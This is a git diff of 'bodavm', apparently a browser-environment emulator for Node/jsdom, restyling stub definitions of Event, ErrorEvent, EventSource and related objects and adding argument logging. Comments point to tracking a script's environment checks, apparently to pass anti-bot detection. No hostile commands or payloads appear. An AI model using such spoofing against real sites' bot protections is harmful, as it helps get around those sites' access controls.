+}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EncodedVideoChunk'], "EncodedVideoChunk"); +bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "byteLength", { + configurable: true, + enumerable: true, + get: function byteLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "byteLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EncodedVideoChunk', "copyTo", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EncodedVideoChunk'].prototype, "EncodedVideoChunk", "copyTo", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Error.js b/env_xbb_lastest_jsdom/env/Error.js new file mode 100644 index 00000000..3472f381 --- /dev/null +++ b/env_xbb_lastest_jsdom/env/Error.js @@ -0,0 +1,38 @@ +// // Error对象 +// bodavm.memory.globalobj['Error'] = function Error(){ +// console.log_copy('Error 实例化对象参数为 -> Error检测', JSON.stringify_bo(arguments, function (k, v) { +// if (v == window) { +// return 'window'; +// } else { +// return v; +// } +// })); +// this._boisinit = bodavm.config.isinit; +// debugger; +// arg=arguments[0] +// if (arg){ +// this.stack=`Error: ${arg+''}\n at :1:1` +// this.toString=function (){ +// console.log_copy(`检测 Error 的tostring方法 ->`) +// return `Error: ${arg}` +// } + + +// }else{ +// this.stack='Error\n at :1:1' +// this.toString=function (){ +// console.log_copy(`检测 Error 的tostring方法 ->`) +// return 'Error' +// } +// } + + + +// } + +// bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Error'], "Error"); +// bodavm.toolsFunc.defineProperty('Error', "captureStackTrace", {configurable:true, enumerable:false, writable:true, value:function captureStackTrace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Error'].prototype, "Error", "captureStackTrace", arguments)}}); +// bodavm.toolsFunc.defineProperty('Error', "stackTraceLimit", {configurable:true, enumerable:true, writable:true, value:10}); +// bodavm.toolsFunc.defineProperty('Error', "name", {configurable:true, enumerable:false, writable:true, value:"Error"},'prototype'); +// bodavm.toolsFunc.defineProperty('Error', "message", {configurable:true, enumerable:false, writable:true, value:""},'prototype'); +// bodavm.toolsFunc.defineProperty('Error', "toString", {configurable:true, enumerable:false, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Error'].prototype, "Error", "toString", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env/ErrorEvent.js b/env_xbb_lastest_jsdom/env/ErrorEvent.js index 4b8c4c86..358d4bb1 100644 --- a/env_xbb_lastest_jsdom/env/ErrorEvent.js +++ b/env_xbb_lastest_jsdom/env/ErrorEvent.js @@ -1,10 +1,59 @@ -// ErrorEvent对象 -bodavm.memory.globalobj['ErrorEvent'] = function ErrorEvent(){if (!(this instanceof ErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ErrorEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ErrorEvent'], "ErrorEvent"); -bodavm.memory.globalobj['ErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['ErrorEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('ErrorEvent', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "message_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ErrorEvent', "filename", {configurable:true, enumerable:true, get:function filename (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "filename_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ErrorEvent', "lineno", {configurable:true, enumerable:true, get:function lineno (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "lineno_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ErrorEvent', "colno", {configurable:true, enumerable:true, get:function colno (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "colno_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ErrorEvent', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "error_get", arguments)}, set:undefined},'prototype'); +// ErrorEvent对象 + +bodavm.memory.globalobj['ErrorEvent'] = function ErrorEvent() { + console.log_copy('ErrorEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ErrorEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ErrorEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ErrorEvent'], "ErrorEvent"); +bodavm.memory.globalobj['ErrorEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['ErrorEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('ErrorEvent', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ErrorEvent', "filename", { + configurable: true, + enumerable: true, + get: function filename() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "filename_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ErrorEvent', "lineno", { + configurable: true, + enumerable: true, + get: function lineno() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "lineno_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ErrorEvent', "colno", { + configurable: true, + enumerable: true, + get: function colno() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "colno_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ErrorEvent', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ErrorEvent'].prototype, "ErrorEvent", "error_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Event.js b/env_xbb_lastest_jsdom/env/Event.js index c2383d01..b1cdb5d1 100644 --- a/env_xbb_lastest_jsdom/env/Event.js +++ b/env_xbb_lastest_jsdom/env/Event.js @@ -1,34 +1,220 @@ -// Event对象 -bodavm.memory.globalobj['Event'] = function Event(){if (!(this instanceof Event)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Event': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Event'], "Event"); -bodavm.toolsFunc.defineProperty('Event', "NONE", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('Event', "CAPTURING_PHASE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('Event', "AT_TARGET", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('Event', "BUBBLING_PHASE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('Event', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "currentTarget", {configurable:true, enumerable:true, get:function currentTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "currentTarget_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "eventPhase", {configurable:true, enumerable:true, get:function eventPhase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "eventPhase_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "bubbles", {configurable:true, enumerable:true, get:function bubbles (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "bubbles_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "cancelable", {configurable:true, enumerable:true, get:function cancelable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "defaultPrevented", {configurable:true, enumerable:true, get:function defaultPrevented (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "defaultPrevented_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "composed", {configurable:true, enumerable:true, get:function composed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "composed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "timeStamp", {configurable:true, enumerable:true, get:function timeStamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "timeStamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "srcElement", {configurable:true, enumerable:true, get:function srcElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "srcElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "returnValue", {configurable:true, enumerable:true, get:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "returnValue_get", arguments)}, set:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "returnValue_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "cancelBubble", {configurable:true, enumerable:true, get:function cancelBubble (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelBubble_get", arguments)}, set:function cancelBubble (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelBubble_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "NONE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "CAPTURING_PHASE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "AT_TARGET", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "BUBBLING_PHASE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "composedPath", {configurable:true, enumerable:true, writable:true, value:function composedPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "composedPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "initEvent", {configurable:true, enumerable:true, writable:true, value:function initEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "initEvent", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "preventDefault", {configurable:true, enumerable:true, writable:true, value:function preventDefault (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "preventDefault", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "stopImmediatePropagation", {configurable:true, enumerable:true, writable:true, value:function stopImmediatePropagation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "stopImmediatePropagation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "stopPropagation", {configurable:true, enumerable:true, writable:true, value:function stopPropagation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "stopPropagation", arguments)}},'prototype'); -// event对象 -bodavm.memory.globalobj['event'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['event'].__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.toolsFunc.defineProperty('event', "isTrusted", {configurable:false, enumerable:true, get:function isTrusted (){return bodavm.toolsFunc.dispatch(this, event, "event", "isTrusted_get", arguments, true)}, set:undefined}); +// Event对象 + +bodavm.memory.globalobj['Event'] = function Event() { + console.log_copy('Event 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Event)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Event': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Event'], "Event"); +bodavm.toolsFunc.defineProperty('Event', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('Event', "CAPTURING_PHASE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('Event', "AT_TARGET", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('Event', "BUBBLING_PHASE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('Event', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "currentTarget", { + configurable: true, + enumerable: true, + get: function currentTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "currentTarget_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "eventPhase", { + configurable: true, + enumerable: true, + get: function eventPhase() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "eventPhase_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "bubbles", { + configurable: true, + enumerable: true, + get: function bubbles() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "bubbles_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "cancelable", { + configurable: true, + enumerable: true, + get: function cancelable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "defaultPrevented", { + configurable: true, + enumerable: true, + get: function defaultPrevented() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "defaultPrevented_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "composed", { + configurable: true, + enumerable: true, + get: function composed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "composed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "timeStamp", { + configurable: true, + enumerable: true, + get: function timeStamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "timeStamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "srcElement", { + configurable: true, + enumerable: true, + get: function srcElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "srcElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "returnValue", { + configurable: true, + enumerable: true, + get: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "returnValue_get", arguments); + }, + set: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "returnValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "cancelBubble", { + configurable: true, + enumerable: true, + get: function cancelBubble() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelBubble_get", arguments); + }, + set: function cancelBubble() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelBubble_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "CAPTURING_PHASE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "AT_TARGET", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "BUBBLING_PHASE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "composedPath", { + configurable: true, + enumerable: true, + writable: true, + value: function composedPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "composedPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "initEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "initEvent", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "preventDefault", { + configurable: true, + enumerable: true, + writable: true, + value: function preventDefault() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "preventDefault", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "stopImmediatePropagation", { + configurable: true, + enumerable: true, + writable: true, + value: function stopImmediatePropagation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "stopImmediatePropagation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Event', "stopPropagation", { + configurable: true, + enumerable: true, + writable: true, + value: function stopPropagation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "stopPropagation", arguments); + } +}, 'prototype'); + +// event对象 + +bodavm.memory.globalobj['event'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['event'].__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.toolsFunc.defineProperty('event', "isTrusted", { + configurable: false, + enumerable: true, + get: function isTrusted() { + return bodavm.toolsFunc.dispatch(this, event, "event", "isTrusted_get", arguments, true); + }, + set: undefined +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/EventCounts.js b/env_xbb_lastest_jsdom/env/EventCounts.js index e04d7bcb..a00f0baf 100644 --- a/env_xbb_lastest_jsdom/env/EventCounts.js +++ b/env_xbb_lastest_jsdom/env/EventCounts.js @@ -1,10 +1,73 @@ -// EventCounts对象 -bodavm.memory.globalobj['EventCounts'] = function EventCounts(){if (!(this instanceof EventCounts)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventCounts'], "EventCounts"); -bodavm.toolsFunc.defineProperty('EventCounts', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventCounts', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "values", arguments)}},'prototype'); +// EventCounts对象 + +bodavm.memory.globalobj['EventCounts'] = function EventCounts() { + console.log_copy('EventCounts 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof EventCounts)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventCounts'], "EventCounts"); +bodavm.toolsFunc.defineProperty('EventCounts', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventCounts', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventCounts'].prototype, "EventCounts", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/EventSource.js b/env_xbb_lastest_jsdom/env/EventSource.js index 9da45fb0..556fa823 100644 --- a/env_xbb_lastest_jsdom/env/EventSource.js +++ b/env_xbb_lastest_jsdom/env/EventSource.js @@ -1,18 +1,117 @@ -// EventSource对象 -bodavm.memory.globalobj['EventSource'] = function EventSource(){if (!(this instanceof EventSource)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EventSource': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventSource'], "EventSource"); -bodavm.memory.globalobj['EventSource'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['EventSource'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('EventSource', "CONNECTING", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('EventSource', "OPEN", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('EventSource', "CLOSED", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('EventSource', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "withCredentials", {configurable:true, enumerable:true, get:function withCredentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "withCredentials_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "onopen", {configurable:true, enumerable:true, get:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onopen_get", arguments)}, set:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onopen_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "CONNECTING", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "OPEN", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "CLOSED", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('EventSource', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "close", arguments)}},'prototype'); +// EventSource对象 + +bodavm.memory.globalobj['EventSource'] = function EventSource() { + console.log_copy('EventSource 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof EventSource)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EventSource': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventSource'], "EventSource"); +bodavm.memory.globalobj['EventSource'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['EventSource'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('EventSource', "CONNECTING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('EventSource', "OPEN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 